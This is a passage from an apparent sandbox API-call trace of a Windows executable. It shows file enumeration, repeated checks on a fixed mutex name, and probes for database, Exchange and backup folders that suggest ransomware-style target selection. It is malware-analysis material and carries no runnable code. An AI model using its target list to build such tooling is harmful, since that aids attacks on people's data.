ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.129] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.129] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.129] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.130] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.130] GlobalUnlock (hMem=0x44000c) returned 0 [0047.130] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.130] GlobalLock (hMem=0x440004) returned 0x554190 [0047.130] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.130] GlobalUnlock (hMem=0x44000c) returned 0 [0047.130] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.130] GlobalUnlock (hMem=0x440004) returned 0 [0047.130] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.130] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.131] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.131] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.131] GlobalLock (hMem=0x440004) returned 0x552180 [0047.131] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.131] GlobalUnlock (hMem=0x440004) returned 0 [0047.131] GlobalLock (hMem=0x440004) returned 0x552180 [0047.131] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.131] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.131] GlobalUnlock (hMem=0x440004) returned 0 [0047.131] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.131] GlobalUnlock (hMem=0x44000c) returned 0 [0047.131] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.131] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.131] GetLastError () returned 0x12 [0047.131] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.131] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0047.131] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.131] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.131] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.131] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.131] GlobalUnlock (hMem=0x44000c) returned 0 [0047.131] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.132] GlobalLock (hMem=0x440004) returned 0x553188 [0047.132] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.132] GlobalUnlock (hMem=0x44000c) returned 0 [0047.132] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.132] GlobalUnlock (hMem=0x440004) returned 0 [0047.132] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.132] GlobalLock (hMem=0x440004) returned 0x551178 [0047.132] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.132] GlobalUnlock (hMem=0x440004) returned 0 [0047.132] GlobalLock (hMem=0x440004) returned 0x551178 [0047.132] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.132] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.132] GlobalUnlock (hMem=0x440004) returned 0 [0047.132] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.132] GlobalUnlock (hMem=0x44000c) returned 0 [0047.132] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.132] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL") returned 1 [0047.132] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.132] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.132] GlobalUnlock (hMem=0x44000c) returned 0 [0047.132] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.132] GlobalLock (hMem=0x440004) returned 0x553188 [0047.132] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.132] GlobalUnlock (hMem=0x44000c) returned 0 [0047.132] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.132] GlobalUnlock (hMem=0x440004) returned 0 [0047.133] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⧚R⦮R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0047.133] GetLastError () returned 0x3 [0047.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0047.133] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⤼R企@\x18권Q\x181")) returned 0xffffffff [0047.133] GetLastError () returned 0x2 [0047.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0047.134] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@♔R企@\x18?T\x18;")) returned 0xffffffff [0047.134] GetLastError () returned 0x2 [0047.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0047.134] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@❌R企@\x18?T\x18D")) returned 0xffffffff [0047.134] GetLastError () returned 0x2 [0047.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0047.135] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⤼R企@\x18♔R\x18j")) returned 0xffffffff [0047.135] GetLastError () returned 0x2 [0047.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0047.135] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@❌R企@\x18?T\x18q")) returned 0xffffffff [0047.135] GetLastError () returned 0x2 [0047.136] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0047.136] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⎌R企@\x18?T\x18y")) returned 0xffffffff [0047.136] GetLastError () returned 0x2 [0047.136] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⤼R企@\x18?T\x18\x81")) returned 0xffffffff [0047.136] GetLastError () returned 0x2 [0047.136] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@❌R企@\x18?T\x18\x88")) returned 0xffffffff [0047.136] GetLastError () returned 0x2 [0047.136] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⎌R企@\x18?T\x18\x8f")) returned 0xffffffff [0047.136] GetLastError () returned 0x2 [0047.136] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⤼R企@\x18?T\x18\x97")) returned 0xffffffff [0047.137] GetLastError () returned 0x2 [0047.137] GlobalLock (hMem=0x440004) returned 0x551178 [0047.137] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.137] GlobalUnlock (hMem=0x440004) returned 0 [0047.137] GlobalLock (hMem=0x440004) returned 0x551178 [0047.137] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.137] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.137] GlobalUnlock (hMem=0x440004) returned 0 [0047.137] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.137] GlobalUnlock (hMem=0x44000c) returned 0 [0047.137] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.137] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.137] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.137] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.137] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.137] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.137] GlobalUnlock (hMem=0x44000c) returned 0 [0047.137] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.137] GlobalLock (hMem=0x440004) returned 0x553188 [0047.137] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.137] GlobalUnlock (hMem=0x44000c) returned 0 [0047.137] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.137] GlobalUnlock (hMem=0x440004) returned 0 [0047.137] GlobalLock (hMem=0x440004) returned 0x551178 [0047.137] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.137] GlobalUnlock (hMem=0x440004) returned 0 [0047.137] GlobalLock (hMem=0x440004) returned 0x551178 [0047.138] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.138] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.138] GlobalUnlock (hMem=0x440004) returned 0 [0047.138] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.138] GlobalUnlock (hMem=0x44000c) returned 0 [0047.138] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.138] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.138] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.138] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.138] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.138] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.138] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.138] GlobalUnlock (hMem=0x44000c) returned 0 [0047.138] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.138] GlobalLock (hMem=0x440004) returned 0x554190 [0047.138] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.138] GlobalUnlock (hMem=0x44000c) returned 0 [0047.138] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.138] GlobalUnlock (hMem=0x440004) returned 0 [0047.138] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.138] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.138] GlobalLock (hMem=0x440004) returned 0x551178 [0047.138] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.138] GlobalUnlock (hMem=0x440004) returned 0 [0047.138] GlobalLock (hMem=0x440004) returned 0x551178 [0047.138] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.138] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.138] GlobalUnlock (hMem=0x440004) returned 0 [0047.139] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.139] GlobalUnlock (hMem=0x44000c) returned 0 [0047.139] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.139] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.139] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.139] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.139] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.139] GlobalUnlock (hMem=0x44000c) returned 0 [0047.139] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.139] GlobalLock (hMem=0x440004) returned 0x553188 [0047.139] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.139] GlobalUnlock (hMem=0x44000c) returned 0 [0047.139] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.139] GlobalUnlock (hMem=0x440004) returned 0 [0047.139] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.139] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.139] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.139] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.139] GlobalLock (hMem=0x440004) returned 0x552180 [0047.139] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.139] GlobalUnlock (hMem=0x440004) returned 0 [0047.139] GlobalLock (hMem=0x440004) returned 0x552180 [0047.139] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.139] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.139] GlobalUnlock (hMem=0x440004) returned 0 [0047.139] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.139] GlobalUnlock (hMem=0x44000c) returned 0 [0047.139] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.139] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.139] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.139] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.140] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.140] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.140] GlobalUnlock (hMem=0x44000c) returned 0 [0047.140] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.140] GlobalLock (hMem=0x440004) returned 0x554190 [0047.140] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.140] GlobalUnlock 